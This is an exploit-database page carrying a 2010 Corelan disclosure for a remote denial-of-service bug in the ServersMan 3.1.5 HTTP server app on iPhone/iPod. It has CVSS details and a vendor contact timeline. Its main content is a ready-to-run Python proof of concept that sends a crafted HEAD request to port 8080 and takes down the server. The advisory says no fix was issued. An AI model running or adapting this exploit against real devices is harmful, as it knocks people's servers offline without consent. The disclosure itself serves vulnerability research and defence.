Exploitalert - Database of Exploits

Apple Iphone/Ipod - Serversman 3.1.5 HTTP Remote DoS Vulnerability

CVE	Category	Price	Severity
CVE-2008-0786	CWE-Other	N/A	Medium

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2010-01-29

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H	0	0

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

http://cxsecurity.com/ascii/WLB-2010010200

|------------------------------------------------------------------| | __ __ | | _________ ________ / /___ _____ / /____ ____ _____ ___ | | / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ | | / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / | | \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ | | | | http://www.corelan.be:8800 | | [email protected] | | | |-------------------------------------------------[ EIP Hunters ]--| | | | Vulnerability Disclosure Report | | | |------------------------------------------------------------------| Advisory : CORELAN-10-005 Disclosure date : 27th Jan 2010 0x00 : Vulnerability information -------------------------------- [*] Product : Apple Iphone/Ipod - Serversman HTTP Server [*] Version : 3.1.5 [*] Vendor : ServersMan [*] URL : http://serversman.com/index_en.jsp [*] Platform : Darwin osx (Iphone) 3G [*] Type of vulnerability : Remote DoS [*] Risk rating : Low [*] Issue fixed in version : <unfixed> [*] Vulnerability discovered by : mr_me [*] Greetings to : corelanc0d3r, EdiStrosar, rick2600, ekse, MarkoT, sinn3r & Jacky from Corelan Team 0x01 : Vendor description of software ------------------------------------- From the vendor website: Share your files with friends via ServerMan. Use your iPhone, iPod Touch or Windows Mobile as a web server. Publish audio, pictures, your current location. 0x02 : Vulnerability details ---------------------------- The vulnerability can be triggered by using a HTTP 'head' request to access the default web root '/' on the device. 0x03 : Vendor communication --------------------------- [*] January 3, 2010 - Initial contact [*] January 4, 2010 - Vendor replied requesting PoC code [*] January 4, 2010 - Provided vendor with PoC [*] January 11, 2010 - Requested patch date and confirmation of vulnerability [*] January 12, 2010 - Received confirmation of vulnerability [*] January 24, 2010 - Contacted vendor for patch date [*] January 27, 2010 - No response from vendor 0x04 : Exploit/PoC ------------------ #!/usr/bin/python # # Apple Iphone/Ipod - Serversman 3.1.5 HTTP Remote DoS exploit # Found by: Steven Seeley (mr_me) seeleymagic [at] hotmail [dot] com # Homepage: http://serversman.com/index_en.jsp # Download: From the app store (use your itunes account) # Tested on: Iphone 3G - firmware 3.1.2 (Darwin kernel) # Greetz to: corelanc0d3r, EdiStrosar, rick2600, ekse, MarkoT, sinn3r & Jacky from Corelan Team # Special Greetz to TecR0c! print "|------------------------------------------------------------------|" print "| __ __ |" print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |" print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |" print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |" print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |" print "| |" print "| http://www.corelan.be:8800 |" print "| [email protected] |" print "| |" print "|-------------------------------------------------[ EIP Hunters ]--|" print "[+] Apple Iphone/Ipod - Serversman 3.1.5 HTTP Remote DOS exploit" import socket import sys def Usage(): print ("Usage: ./serversman.py <serv_ip>\n") print ("Example: ./serversman.py 192.168.48.183\n") if len(sys.argv) <> 2: Usage() sys.exit(1) else: hostname = sys.argv[1] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, 8080)) print "[+] Connecting to the target.." except: print ("[-] Connection error!") sys.exit(1) print "[+] Sending payload.. muhaha ph33r" sock.send("HEAD / HTTP/1.0\r\n\r\n") r=sock.recv(1024) sock.close() print "[+] HTTP Server is now DoSed!" sys.exit(0);

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